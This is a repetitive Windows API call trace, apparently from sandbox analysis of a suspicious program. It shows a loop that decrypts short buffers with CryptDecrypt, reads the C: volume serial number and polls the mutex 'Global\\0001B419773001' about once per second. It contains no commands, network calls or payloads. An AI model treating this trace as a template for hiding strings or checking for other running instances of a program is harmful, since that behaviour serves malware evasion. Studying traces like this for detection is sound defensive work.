	[0227.091] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0227.091] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0227.091] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0227.091] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0227.091] CryptDestroyKey (hKey=0x645e78) returned 1
	[0227.091] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0227.091] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0227.091] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0227.091] CloseHandle (hObject=0x4d4) returned 1
	[0227.091] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0227.091] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0227.091] Sleep (dwMilliseconds=0x3e8) 
	[0228.328] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0228.329] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645e78) returned 1
	[0228.329] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0228.329] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0228.329] CryptDestroyKey (hKey=0x645e78) returned 1
	[0228.329] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0228.329] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0228.329] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0228.329] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0228.329] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0228.329] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0228.329] CryptDestroyKey (hKey=0x645b78) returned 1
	[0228.329] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0228.329] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0228.329] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0228.329] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0228.329] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0228.329] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0228.329] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0228.329] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0228.329] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0228.329] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0228.329] CryptDestroyKey (hKey=0x645b78) returned 1
	[0228.330] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0228.330] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x540
	[0228.330] WaitForSingleObject (hHandle=0x540, dwMilliseconds=0x0) returned 0x102
	[0228.330] CloseHandle (hObject=0x540) returned 1
	[0228.330] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0228.330] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0228.330] Sleep (dwMilliseconds=0x3e8) 
	[0229.658] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0229.658] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0229.658] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0229.658] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0229.659] CryptDestroyKey (hKey=0x645d38) returned 1
	[0229.659] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0229.659] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0229.659] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0229.659] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0229.659] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0229.659] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0229.659] CryptDestroyKey (hKey=0x645d38) returned 1
	[0229.659] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0229.659] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0229.659] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0229.659] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0229.659] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0229.659] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0229.659] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0229.659] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0229.659] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0229.659] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0229.659] CryptDestroyKey (hKey=0x645e78) returned 1
	[0229.659] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0229.659] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0229.659] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0229.659] CloseHandle (hObject=0x4d4) returned 1
	[0229.659] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0229.659] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0229.659] Sleep (dwMilliseconds=0x3e8) 
	[0230.724] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0230.724] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0230.724] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0230.724] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0230.724] CryptDestroyKey (hKey=0x645978) returned 1
	[0230.724] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0230.724] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0230.724] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0230.724] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0230.724] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0230.724] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0230.724] CryptDestroyKey (hKey=0x645b78) returned 1
	[0230.724] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0230.724] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0230.724] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0230.724] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0230.724] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0230.725] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0230.725] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0230.725] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0230.725] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0230.725] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0230.725] CryptDestroyKey (hKey=0x645d38) returned 1
	[0230.725] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0230.725] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0230.725] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0230.725] CloseHandle (hObject=0x4d4) returned 1
	[0230.725] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0230.725] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0230.725] Sleep (dwMilliseconds=0x3e8) 
	[0231.802] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0231.802] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645b78) returned 1
	[0231.802] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0231.802] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0231.802] CryptDestroyKey (hKey=0x645b78) returned 1
	[0231.802] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0231.803] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0231.803] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0231.803] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645978) returned 1
	[0231.803] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0231.803] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0231.803] CryptDestroyKey (hKey=0x645978) returned 1
	[0231.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0231.803] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0231.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0231.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0231.803] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0231.803] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0231.803] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0231.803] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645a38) returned 1
	[0231.803] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0231.803] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0231.803] CryptDestroyKey (hKey=0x645a38) returned 1
	[0231.803] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0231.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0231.803] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0231.803] CloseHandle (hObject=0x4d4) returned 1
	[0231.804] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0231.804] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0231.804] Sleep (dwMilliseconds=0x3e8) 
	[0232.897] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0232.897] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645e78) returned 1
	[0232.897] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0232.897] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0232.897] CryptDestroyKey (hKey=0x645e78) returned 1
	[0232.897] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0232.897] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0232.898] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0232.898] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0232.898] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0232.898] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0232.898] CryptDestroyKey (hKey=0x645d38) returned 1
	[0232.898] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0232.898] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0232.898] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0232.898] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0232.898] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0232.898] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0232.898] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0232.898] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0232.898] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0232.898] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0232.898] CryptDestroyKey (hKey=0x645e78) returned 1
	[0232.898] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0232.898] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0232.898] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0232.898] CloseHandle (hObject=0x4d4) returned 1
	[0232.899] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0232.899] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0232.899] Sleep (dwMilliseconds=0x3e8) 
	[0234.287] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0234.287] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0234.287] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0234.287] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0234.287] CryptDestroyKey (hKey=0x645978) returned 1
	[0234.287] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0234.287] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0234.287] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0234.287] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0234.287] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0234.287] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0234.287] CryptDestroyKey (hKey=0x645b78) returned 1
	[0234.287] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0234.287] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0234.287] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0234.287] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0234.287] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0234.288] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0234.288] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0234.288] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0234.288] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0234.288] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0234.288] CryptDestroyKey (hKey=0x645d38) returned 1
	[0234.288] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0234.288] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x4d4
	[0234.288] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0234.288] CloseHandle (hObject=0x4d4) returned 1
	[0234.288] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0234.288] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0234.288] Sleep (dwMilliseconds=0x3e8) 
	[0235.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0235.296] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645978) returned 1
	[0235.296] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0235.296] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0235.296] CryptDestroyKey (hKey=0x645978) returned 1
	[0235.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0235.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0235.296] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0235.296] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0235.296] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0235.296] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0235.296] CryptDestroyKey (hKey=0x645d38) returned 1
	[0235.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0235.296] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0235.296] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
